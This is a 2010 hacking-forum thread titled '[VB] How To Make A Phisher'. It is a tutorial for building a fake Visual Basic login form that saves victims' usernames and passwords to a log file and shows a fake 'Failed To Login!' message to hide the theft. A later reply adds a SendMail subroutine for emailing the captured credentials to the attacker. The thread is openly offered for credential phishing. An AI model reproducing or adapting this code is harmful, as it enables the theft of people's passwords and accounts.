Okay here is the steps you need to do
add
2 labels
2 textbox
1 button
1 radiobutton
Labels name them Username and Password
Textbox leave them normal and then the for the password put TRUE on use password character
Button name it login!
radiobutton name it as Remember Me
Now if you want it to record all what they type then click on the form and make it open coding and put this code
Now if you want it for when they click the button put this codeCode:Dim W As New System.IO.StreamWriter("filepath\logs.txt", True) W.WriteLine("Username: " & TextBox1.Text & " & " & "Password: " & TextBox2.Text) W.Close()
Now me i like to put my stuff differnt here is one of mineCode:Dim W As New System.IO.StreamWriter("filepath\logs.txt", True) W.WriteLine("Username: " & TextBox1.Text & " & " & "Password: " & TextBox2.Text) W.Close() MsgBox("Failed To Login!")
Results 1 to 11 of 11
Thread: [VB] How To Make A Phisher
- 27 Jul. 2010 02:10am #1
[VB] How To Make A Phisher
- 27 Jul. 2010 02:20am #2
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 0.00
That's given you have physical access to the computer. Use that mail client stuff to actually send the data somewhere.
- 27 Jul. 2010 02:24am #3
- 27 Jul. 2010 02:36am #4
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 0.00
Public Shared Sub SendMail(strFrom as String, strTo as String, strCC as String,
strSubject as String, strBody as String, strAttachments as String, strSMTPServer as String)
'send the email
Try
Dim insMail As New MailMessage()
With insMail
.From = strFrom
.To = strTo
.Subject = strSubject
.Body = strBody
.Cc = strCC
If Not strAttachments.Equals(String.Empty) Then
Dim strFile As String
Dim strAttach() As String = strAttachments.Split(";")
For Each strFile In strAttach
.Attachments.Add(New MailAttachment(strFile.Trim()))
Next
End If
End With
If Not strSMTPServer.Equals(String.Empty) Then
SmtpMail.SmtpServer = strSMTPServer
End If
SmtpMail.Send(insMail)
Catch e As Exception
Console.WriteLine(e.Message)
End Try
End Sub
- 28 Jul. 2010 04:23am #5
- 28 Jul. 2010 04:56am #6
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 0.00
If you find whatever your phishing worth all of that then go ahead. I think email is easier.
- 30 Jul. 2010 10:57am #7
Thanks, I guess. Why does everything have to be about Gaya phishing, though?
- 30 Jul. 2010 11:54pm #8
- 02 Sep. 2010 01:24pm #9
What's the programme called?
I'm new here. =)
This are my LG goals. :
[ ] 10 Posts
[ ] 20 Posts
[ ] 50 Posts
- 02 Sep. 2010 06:33pm #10
- Join Date
- Apr. 2010
- Location
- When freedom is outlawed only outlaws will be free
- Posts
- 5,113
- Reputation
- 195
- LCash
- 0.00
Visual Basic. You can download it on the microsoft website, or just search it on google.
- 26 Sep. 2010 12:13am #11
Well this is just a sample i made.